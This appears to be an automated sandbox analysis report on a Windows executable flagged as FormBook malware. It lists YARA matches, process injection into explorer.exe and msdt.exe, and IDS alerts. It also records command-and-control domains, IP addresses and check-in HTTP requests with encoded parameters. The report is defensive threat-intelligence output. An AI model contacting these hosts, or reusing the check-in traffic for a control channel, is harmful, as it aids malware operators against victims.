Windows Analysis Report
2FcJgghyXg.exe

Antivirus detection for URL or domain

Source: Yara match	File source: 2.2.2FcJgghyXg.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.2FcJgghyXg.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2499211054.0000000003060000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1253892439.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1320876243.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2498941843.0000000003020000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2498297879.0000000002CA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1253892439.0000000003B39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: http://www.hot-tubs-59198.bond/us94/www.simarnit.com	Avira URL Cloud: Label: malware
Source: http://www.69v39.top/us94/?FV9l7b=gRE/KZOmUIl0E9O5tIrQ1aSnWhjtkyGjsCPW33OGocf8yDxoSBdOJbLmmBtR+4NwNN+r&BbW=QzuhmF0pKL	Avira URL Cloud: Label: phishing
Source: http://www.truijkl.xyz/us94/www.j5tm84qrs.top	Avira URL Cloud: Label: phishing
Source: http://www.69v39.top/us94/	Avira URL Cloud: Label: phishing
Source: http://www.nazadypro.shop/us94/	Avira URL Cloud: Label: malware
Source: http://www.nazadypro.shop/us94/www.soccercitycupsc.com	Avira URL Cloud: Label: malware
Source: http://www.b-cr5.ink/us94/	Avira URL Cloud: Label: malware
Source: http://www.j5tm84qrs.top/us94/www.66xecqk.top	Avira URL Cloud: Label: phishing
Source: http://www.69v39.top/us94/www.l1z3x.cfd	Avira URL Cloud: Label: phishing
Source: http://www.66xecqk.top/us94/www.terminalcomputer.info	Avira URL Cloud: Label: phishing
Source: http://www.j5tm84qrs.top/us94/	Avira URL Cloud: Label: phishing
Source: http://www.abithashop.com/us94/	Avira URL Cloud: Label: malware
Source: http://www.ontheroadfromdamascus.com/us94/	Avira URL Cloud: Label: malware
Source: http://www.hot-tubs-59198.bond/us94/	Avira URL Cloud: Label: malware
Source: http://www.simarnit.com/us94/www.hanabi104.online	Avira URL Cloud: Label: malware
Source: http://www.simarnit.com/us94/	Avira URL Cloud: Label: malware
Source: http://www.emdefencetech.com/us94/	Avira URL Cloud: Label: malware
Source: http://www.emdefencetech.com/us94/www.nazadypro.shop	Avira URL Cloud: Label: malware
Source: http://www.terminalcomputer.info/us94/www.b-cr5.ink	Avira URL Cloud: Label: malware
Source: http://www.abithashop.com/us94/www.truijkl.xyz	Avira URL Cloud: Label: malware
Source: http://www.emdefencetech.com/us94/?FV9l7b=09CVAw2tWRgghkhUEy5C5oLzHr5PLkNGN/bgaCa/HPdap5UhvkEM57dmWPBbgbvu1iSh&BbW=QzuhmF0pKL	Avira URL Cloud: Label: malware
Source: http://www.truijkl.xyz/us94/	Avira URL Cloud: Label: phishing
Source: http://www.ontheroadfromdamascus.com/us94/www.hot-tubs-59198.bond	Avira URL Cloud: Label: malware
Source: http://www.terminalcomputer.info/us94/	Avira URL Cloud: Label: malware
Source: http://www.hanabi104.online/us94/	Avira URL Cloud: Label: malware
Source: http://www.66xecqk.top/us94/	Avira URL Cloud: Label: phishing

Source: 2FcJgghyXg.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2FcJgghyXg.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: msdt.pdbGCTL source: 2FcJgghyXg.exe, 00000002.00000002.1324284737.0000000003350000.00000040.10000000.00040000.00000000.sdmp, msdt.exe, 00000004.00000002.2497776864.00000000007E0000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: xYQq.pdbSHA256K source: 2FcJgghyXg.exe
Source:	Binary string: wntdll.pdbUGP source: 2FcJgghyXg.exe, 00000002.00000002.1322759812.0000000001770000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000004.00000002.2500706865.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000004.00000002.2500706865.0000000004DBD000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000004.00000003.1328099105.0000000004ADF000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000004.00000003.1322862387.0000000004924000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 2FcJgghyXg.exe, 2FcJgghyXg.exe, 00000002.00000002.1322759812.0000000001770000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000004.00000002.2500706865.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000004.00000002.2500706865.0000000004DBD000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000004.00000003.1328099105.0000000004ADF000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000004.00000003.1322862387.0000000004924000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msdt.pdb source: 2FcJgghyXg.exe, 00000002.00000002.1324284737.0000000003350000.00000040.10000000.00040000.00000000.sdmp, msdt.exe, 00000004.00000002.2497776864.00000000007E0000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: xYQq.pdb source: 2FcJgghyXg.exe

Source: C:\Users\user\Desktop\2FcJgghyXg.exe

Code function: 4x nop then pop edi

2_2_00416CD9

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 34.120.175.65 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.195.240.123 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.21.48.68 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 66.235.200.145 80	Jump to behavior

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.8:49771 -> 91.195.240.123:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.8:49772 -> 104.21.48.68:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.8:49773 -> 66.235.200.145:80
Source: Traffic	Snort IDS: 2023883 ET DNS Query to a *.top domain - Likely Hostile 192.168.2.8:59429 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.8:49774 -> 34.120.175.65:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.l1z3x.cfd/us94/

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: global traffic	HTTP traffic detected: GET /us94/?FV9l7b=09CVAw2tWRgghkhUEy5C5oLzHr5PLkNGN/bgaCa/HPdap5UhvkEM57dmWPBbgbvu1iSh&BbW=QzuhmF0pKL HTTP/1.1Host: www.emdefencetech.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /us94/?FV9l7b=dEK1UcEseC60ArM7bnAGctGEpZul5aHqilxPZgyrfd7+4uauQhfO1u/GuBaUBJFU+KOU&BbW=QzuhmF0pKL HTTP/1.1Host: www.nazadypro.shopConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /us94/?FV9l7b=S5srMiwBCDtV4rjo3jAT9rEjkkSDttoSOLAmgXzTQBVP9tcOlEr2qFRjTuqDw5Sxe1FF&BbW=QzuhmF0pKL HTTP/1.1Host: www.soccercitycupsc.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /us94/?FV9l7b=gRE/KZOmUIl0E9O5tIrQ1aSnWhjtkyGjsCPW33OGocf8yDxoSBdOJbLmmBtR+4NwNN+r&BbW=QzuhmF0pKL HTTP/1.1Host: www.69v39.topConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 66.235.200.145 66.235.200.145

Source: unknown

Network traffic detected: HTTP traffic on port 49688 -> 443

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Sep 2023 06:39:22 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kTYDAkJwCyw0%2BnhK7NN2bcwb94Iew%2FOYP2vLbo1Mp%2BeteJHtybie0loptL9iJqTk55Y3OiGn4digZd6g4%2BoNGUC4NxW6%2FXzw5tX3zUoews%2B3g0ZC575%2BgflLHEfb2IbFUbaSogI%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 802cf4470aa209f7-LASalt-svc: h3=":443"; ma=86400Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95

Source: explorer.exe, 00000003.00000002.2504551014.00000000071E9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1263284729.00000000071E9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1267280115.00000000093C3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1267280115.000000000942F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2509722390.00000000093C3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: explorer.exe, 00000003.00000002.2504551014.00000000071E9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1263284729.00000000071E9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1267280115.00000000093C3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1267280115.000000000942F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2509722390.00000000093C3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: explorer.exe, 00000003.00000000.1267280115.00000000093F5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2509722390.00000000093F4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/Omniroot2025.crl
Source: explorer.exe, 00000003.00000000.1267280115.00000000093C3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1267280115.000000000942F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2509722390.00000000093C3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.mi
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.micr
Source: explorer.exe, 00000003.00000000.1259489346.0000000002BD0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1265595351.0000000007770000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1265570865.0000000007760000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft.co
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.66xecqk.top
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.66xecqk.top/us94/
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.66xecqk.top/us94/www.terminalcomputer.info
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.66xecqk.topReferer:
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.69v39.top
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.69v39.top/us94/
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.69v39.top/us94/www.l1z3x.cfd
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.69v39.topReferer:
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.abithashop.com
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.abithashop.com/us94/
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.abithashop.com/us94/www.truijkl.xyz
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.abithashop.comReferer:
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.b-cr5.ink
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.b-cr5.ink/us94/
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.b-cr5.ink/us94/www.barbieexpert.com
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.b-cr5.inkReferer:
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.barbieexpert.com
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.barbieexpert.com/us94/
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.barbieexpert.com/us94/www.ontheroadfromdamascus.com
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.barbieexpert.comReferer:
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.emdefencetech.com
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.emdefencetech.com/us94/
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.emdefencetech.com/us94/www.nazadypro.shop
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.emdefencetech.comReferer:
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hanabi104.online
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hanabi104.online/us94/
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hanabi104.onlineReferer:
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hot-tubs-59198.bond
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hot-tubs-59198.bond/us94/
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hot-tubs-59198.bond/us94/www.simarnit.com
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hot-tubs-59198.bondReferer:
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.j5tm84qrs.top
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.j5tm84qrs.top/us94/
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.j5tm84qrs.top/us94/www.66xecqk.top
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.j5tm84qrs.topReferer:
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.l1z3x.cfd
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.l1z3x.cfd/us94/
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.l1z3x.cfd/us94/www.abithashop.com
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.l1z3x.cfdReferer:
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.nazadypro.shop
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.nazadypro.shop/us94/
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.nazadypro.shop/us94/www.soccercitycupsc.com
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.nazadypro.shopReferer:
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ontheroadfromdamascus.com
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ontheroadfromdamascus.com/us94/
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ontheroadfromdamascus.com/us94/www.hot-tubs-59198.bond
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ontheroadfromdamascus.comReferer:
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.simarnit.com
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.simarnit.com/us94/
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.simarnit.com/us94/www.hanabi104.online
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.simarnit.comReferer:
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.soccercitycupsc.com
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.soccercitycupsc.com/us94/
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.soccercitycupsc.com/us94/www.69v39.top
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.soccercitycupsc.comReferer:
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.terminalcomputer.info
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.terminalcomputer.info/us94/
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.terminalcomputer.info/us94/www.b-cr5.ink
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.terminalcomputer.infoReferer:
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.truijkl.xyz
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.truijkl.xyz/us94/
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.truijkl.xyz/us94/www.j5tm84qrs.top
Source: explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.truijkl.xyzReferer:
Source: explorer.exe, 00000003.00000000.1267280115.00000000093C3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2509722390.00000000093C3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000003.00000000.1263284729.00000000070C9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000003.00000000.1267280115.0000000009242000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2509722390.0000000009242000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 00000003.00000000.1267280115.00000000093F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: explorer.exe, 00000003.00000000.1272310868.000000000BC1A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2516134404.000000000BC1A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 00000003.00000002.2520807762.00000000105FF000.00000004.80000000.00040000.00000000.sdmp, msdt.exe, 00000004.00000002.2501650937.00000000056CF000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js
Source: explorer.exe, 00000003.00000002.2520807762.00000000105FF000.00000004.80000000.00040000.00000000.sdmp, msdt.exe, 00000004.00000002.2501650937.00000000056CF000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js
Source: explorer.exe, 00000003.00000002.2520807762.00000000105FF000.00000004.80000000.00040000.00000000.sdmp, msdt.exe, 00000004.00000002.2501650937.00000000056CF000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js
Source: explorer.exe, 00000003.00000002.2520807762.00000000105FF000.00000004.80000000.00040000.00000000.sdmp, msdt.exe, 00000004.00000002.2501650937.00000000056CF000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://hm.baidu.com/hm.js?
Source: explorer.exe, 00000003.00000000.1272310868.000000000BC1A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2516134404.000000000BC1A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 00000003.00000000.1272310868.000000000BB08000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2516134404.000000000BB08000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000003.00000000.1272310868.000000000BC1A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2516134404.000000000BC1A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: explorer.exe, 00000003.00000000.1267280115.000000000942F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2502312360.0000000004C47000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2509722390.00000000093F4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1261252404.0000000004C4C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1261252404.0000000004C48000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown

DNS traffic detected: queries for: www.emdefencetech.com

Source: C:\Windows\explorer.exe

Code function: 3_2_08897F82 getaddrinfo,setsockopt,recv,

3_2_08897F82

Source: global traffic	HTTP traffic detected: GET /us94/?FV9l7b=09CVAw2tWRgghkhUEy5C5oLzHr5PLkNGN/bgaCa/HPdap5UhvkEM57dmWPBbgbvu1iSh&BbW=QzuhmF0pKL HTTP/1.1Host: www.emdefencetech.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
